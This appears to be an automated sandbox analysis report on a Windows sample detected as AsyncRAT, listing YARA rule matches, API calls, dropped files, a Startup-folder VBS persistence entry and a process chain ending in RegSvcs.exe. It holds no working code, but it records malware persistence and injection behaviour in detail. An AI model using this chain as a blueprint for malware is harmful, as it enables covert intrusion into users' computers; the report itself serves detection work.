Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: Wausaukee.exe PID: 7788, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: RegSvcs.exe PID: 8004, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@10/7@1/1

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_0049A06A GetLastError,FormatMessageW,

0_2_0049A06A

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004881CB AdjustTokenPrivileges,CloseHandle,	0_2_004881CB
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004887E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	0_2_004887E1
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009A81CB AdjustTokenPrivileges,CloseHandle,	2_2_009A81CB
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009A87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	2_2_009A87E1

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_0049B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0049B333

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004AEE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_004AEE0D

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_0049C397 CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0049C397

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00434E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00434E89

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

File created: C:\Users\user\AppData\Local\preinhered

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\abkZfsCYRZhk

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

File created: C:\Users\user~1\AppData\Local\Temp\aut20EF.tmp

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs"

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Command line argument:		0_2_004347D0
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Command line argument:		0_2_004347D0

Source: egpTyFpA8v.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: egpTyFpA8v.exe	Virustotal: Detection: 68%
Source: egpTyFpA8v.exe	ReversingLabs: Detection: 87%

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

File read: C:\Users\user\Desktop\egpTyFpA8v.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\egpTyFpA8v.exe "C:\Users\user\Desktop\egpTyFpA8v.exe"
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Process created: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe "C:\Users\user\Desktop\egpTyFpA8v.exe"
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\egpTyFpA8v.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Process created: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe "C:\Users\user\Desktop\egpTyFpA8v.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\egpTyFpA8v.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe"	Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: egpTyFpA8v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: egpTyFpA8v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: egpTyFpA8v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: egpTyFpA8v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: egpTyFpA8v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: egpTyFpA8v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: egpTyFpA8v.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: Wausaukee.exe, 00000002.00000003.1377701020.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000002.00000003.1378166008.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476637459.0000000003840000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476809472.00000000039E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Wausaukee.exe, 00000002.00000003.1377701020.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000002.00000003.1378166008.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476637459.0000000003840000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476809472.00000000039E0000.00000004.00001000.00020000.00000000.sdmp

Source: egpTyFpA8v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: egpTyFpA8v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: egpTyFpA8v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: egpTyFpA8v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: egpTyFpA8v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00434B37 LoadLibraryA,GetProcAddress,

0_2_00434B37

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0043C4C6 push A30043BAh; retn 0043h	0_2_0043C50D
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00458945 push ecx; ret	0_2_00458958
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00978945 push ecx; ret	2_2_00978958

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

File created: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe

Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8004, type: MEMORYSTR

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs

Jump to dropped file

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs

Jump to behavior

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs

Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004348D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	0_2_004348D7
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004B5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	0_2_004B5376
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009548D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	2_2_009548D7
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009D5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	2_2_009D5376

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00453187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00453187

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
